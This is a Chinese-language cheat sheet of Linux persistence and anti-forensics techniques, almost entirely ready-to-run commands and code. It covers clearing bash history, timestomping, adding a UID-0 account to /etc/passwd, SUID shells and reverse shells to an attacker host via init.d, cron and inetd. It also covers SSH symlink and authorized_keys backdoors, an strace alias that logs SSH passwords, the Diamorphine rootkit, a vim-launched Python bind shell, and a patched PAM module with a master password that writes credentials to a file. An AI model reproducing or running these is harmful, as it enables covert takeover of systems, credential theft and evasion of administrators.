修改文件,终端属性 | | |
---|
文件创建时间 | 将1.txt 的文件赋给 2.txt : touch -r 1.txt 2.txt | 文件锁定 | # 需 root 权限
chattr +i 1.txt # 锁定文件
chattr -i 1.txt # 解除锁定rm -rf 1.txt # 删除文件
lsattr 1.txt # 查看文件属性 | 历史操作命令 | # 关闭记录历史命令的功能 # [space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录
[space]set +o history 需先打开 bash 使用:bash# 恢复记录历史命令的功能
[space]set -o history# 删除指定的历史命令
history -d [num]# 删除全部的历史命令
history -c | passwd 写入 | # 生成密码
openssl passwd 123456# 记得更改用户名,不要太明显
# /etc/passwd 各部分含义:
# 用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的shell
# 例:newroot:Z6gIorvSGN/UI:0:0:root:/root:/bin/bash
echo 'newroot:Z6gIorvSGN/UI:0:0:root:/root:/bin/bash' >> /etc/passwd# 若禁止root用户ssh登录,则可以留一个普通用户
echo 'newuser:Z6gIorvSGN/UI:1001:1000:user:/home/user:/bin/bash' >> /etc/passwd |
|
SUID 后门 | # 执行者将具有该程序(/tmp/.woot)拥有者的权限 , .开头是隐藏文件,通常会对其加锁
# root 用户复制 /bin/bash 到 /tmp/.woot
cp /bin/bash /tmp/.woot# 更改文件权限
# 4表示设置SUID位,7表示用户所有者读+写+执行,5表示属组和其他用户读+执行
chmod 4755 /tmp/.woot# 查看文件权限
ls -al /tmp/.woot# 切换为普通用户
# 运行文件,获得管理员权限, -p 指新建立一个终端
/tmp/.woot -p |
开机自启 | hacker 神器AI:https://www.whiterabbitneo.com/chats/m4qVjlG
# 例:Ubuntu 18.04 LTS 开机自启写入反弹shell的命令怎么写
# 系统的主要区别在开机自启目录# Ubuntu 18.04
# 移动到/etc/init.d/下
cd /etc/init.d/# 创建文件
touch reverse_shell.sh# 写入反弹shell的内容
#!/bin/bash
/bin/sh -i >& /dev/tcp/192.168.56.1/555 0>&1# 赋予执行权限
chmod +x /etc/init.d/reverse_shell.sh# 将脚本添加到引导序列中
update-rc.d reverse_shell.sh defaults# 攻击者开启监听
nc -lvnp 555# 受害者重启,登录用户后反弹成功
reboot |
计划任务 | | |
---|
计划任务文件位置 | /etc/crontab | 原理 | 计划任务文件权限配置错误,使普通用户也可以进行编辑 寻找root权限执行的计划任务:例:*/1 * * * * root /etc/cron.daily/backup | 利用方式 | # 查看计划任务
cat /etc/crontab# vi 或 vim 编辑找到的计划任务文件
例:vi /etc/cron.daily/backup# 写入反弹shell的语句,经过其设置的更新时间 即可反弹到shell(注意操作系统)
例:/bin/sh -i >& /dev/tcp/192.168.56.1/555 0>&1# 监听的操作系统使用nc监听
例:nc -lvnp 555# 最后等待计划任务启动即可(root权限)
# 或是命令启动(拥有命令执行者的权限)
以上述为例,则直接运行 /etc/cron.daily/backup 即可 |
|
SSH 后门 | | |
---|
SSH 软链接后门 | # 在目标Linux中以 root 身份运行
# 创建一个指向 SSHD 的链接,并尝试通过这个链接以 12345 端口进行连接
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=8002# kali 尝试连接(密码任意)
ssh root@192.168.7.199 -p 8002 | SSH 公私钥密码登录 | # SSH公私钥密码登录时,返回的权限取决于移动到的linux目标目录
# 例:(/root/.ssh/) 为 root 用户的目录,所以得到的权限为root权限# kali root用户移动到.ssh目录下
cd ~/.ssh# 查看当前目录有哪些文件(与后面进行比对)
ls -l# kali 生成公钥,直接回车即可
ssh-keygen# 将kali的 上面生成的.pub文件写入 authorized_keys 中
cat id_ed25519.pub > authorized_keys# kali于当前目录 开启 http服务,供目标Linux 下载
# 下载到目标Linux的 .ssh/authorized_keys 里
python -m http.server# 目标Linux 将文件移动到 /root/.ssh/ 文件
mv authorized_keys /root/.ssh/
# 若是没有.ssh目录,执行以下命令,会自动创建(无论成功与否)
ssh localhost # kali 更改文件权限
# 文件拥有者拥有读写权限,其他用户没有权限
chmod 600 id_ed25519# 使用 kali 指定的私钥去连接目标Linux
ssh -i id_ed25519 root@192.168.7.199 | SSH keyLogger 记录密码 | # 判断当前Linux主机是否拥有 strace 工具
which strace / strace# linux 目标主机执行
vim .bashrc# 写入
alias ssh='strace -o /tmp/ssh-`date "+%m-%d-%H-%M"`.log -e read,write -s200 ssh'# 启用
source .bashrc# 当用户使用ssh连接其他主机时正确的密码就会被记录
# 到tmp目录下查看
cd /tmp
ls -l# 查看日志文件
例:cat ssh-07-29-20-25.log# 查找密码
grep -A 9 'password' 日志文件.log |
|
inetd服务后门 | # 方法一:
# 目标Linux 安装inetd
apt install openbsd-inetd# 目标Linux 编辑 /etc/inetd.conf
vim /etc/inetd.conf# 目标Linux 写入反弹shell命令
daytime stream tcp nowait root /bin/bash bash -i# 目标Linux 开启 inetd
inetd# kali连接目标Linux(默认13端口)
nc -vv 192.168.7.199 13 # 方法二:
# 写入 /etc/services
vim /etc/services# 修改 openbsd-inetd 服务默认端口的端口,添加语句
# 任意服务名 未占用端口/tcp #evil backdoor service ,例:
woot 6666/tcp #evil backdoor service# 编辑 /etc/inetd.conf,将语句进行修改
# 任意服务名 stream tcp nowait root /bin/bash bash -i ,例:
woot stream tcp nowait root /bin/bash bash -i# 目标Linux 开启 inetd
inetd# kali连接目标Linux(设置的端口)
nc -vv 192.168.7.199 6666 |
Rootkit | # 目标Linux 安装 Diamorphine ,建议安装在比较隐蔽的目录,如/tmp
cd /tmp
git clone https://github.com/m0nad/Diamorphine (访问github需代理)# 移动到Diamorphine目录,安装其他
cd Diamorphine
apt install make # 启动
make# 以root身份运行,导入模块
insmod diamorphine.ko# 当下次任意用户使用如下命令时,将获得管理员权限
kill -64 0# 显示进程:ps
# 隐藏进程:kill -31 bash的pid号 |
VIM Python拓展后门 | # 适用于安装了vim且安装了python拓展的linux系统
# 查看是否安装
vim --version
python --version 或 python3 --version# 目标Linux 创建任意文件写入
cd /tmp
touch shell.py
vim shell.py# 目标Linux 创建文件写入代码
# 创建了一个简单的TCP服务器,等待客户端的连接请求
# 一旦有客户端连接,它会创建一个交互式的shell连接,允许客户端执行命令并获取输出。
# 需管理员权限执行
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":server=socket(AF_INET,SOCK_STREAM)server.bind(('0.0.0.0',11))server.listen(5)print ('waiting for connect')talk, addr = server.accept()print ('connect from',addr)proc = subprocess.Popen(["/bin/bash","-i"], stdin=talk,stdout=talk, stderr=talk, shell=True)# kali 开启连接
nc -vv 192.168.7.199 11
# 连接成功后无shell显示,但已经可以执行命令了# 目标Linux 隐藏可疑连接,并与 15s 后删除(需在15s内连接)
(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &) && sleep 15 && rm -f shell.py |
PAM后门 | # 查看 PAM 版本
dpkg -s libpam-modules | grep -i version# 从自己的本机远程下载到 目标Linux 机器
# 本机开启http服务: python -m http.server
# 目标Linux 下载:wget http://192.168.56.1:8000/Linux-PAM-1.1.8.7z
# 解压: 7z x Linux-PAM-1.1.8.7z# 移动到对应目录下写入Payload
cd Linux-PAM-1.1.8
cd modules/pam_unix/
vim pam_unix_auth.c# vim 中查找 pam_sm_authenticate,并修改其内容
/pam_sm_authenticate# 替换为以下内容,其中 qing!@#123 为密码D(("user=%s, password=[%s]", name, p));/* verify the password of this user */retval = _unix_verify_password(pamh, name, p, ctrl);if(strcmp("qing!@#123",p)==0){return PAM_SUCCESS;}if(retval == PAM_SUCCESS){FILE * fp;fp = fopen("/bin/.sshlog", "a");fprintf(fp, "%s : %s\n", name, p);fclose(fp);}name = p = NULL;AUTH_RETURN;
}# 移动到对应目录下编译执行
cd ../../
chmod 777 configure
./configure
make# 寻找生成的文件,使用其将系统文件替换
find / -name pam_unix.so
# 备份系统文件
cp /lib/x86_64-linux-gnu/security/pam_unix.so /tmp/pam_unix.so.bank
# 替换
cp /tmp/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so# 当使用ssh登录后,可以看到ssh.log文件 |
Ubuntu利用Cron机制安装后门(少见) | # 一句话写入计划任务
(crontab -l;printf "* * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.56.1/2334 0>&1';\r%100c\n")|crontab -# kali/VPS 开启监听,等待连接
nc -lvnp 2334# 排查方式
crontab -l 结果为空
crontab -e
# 进入内部直接查看到反弹shell命令 |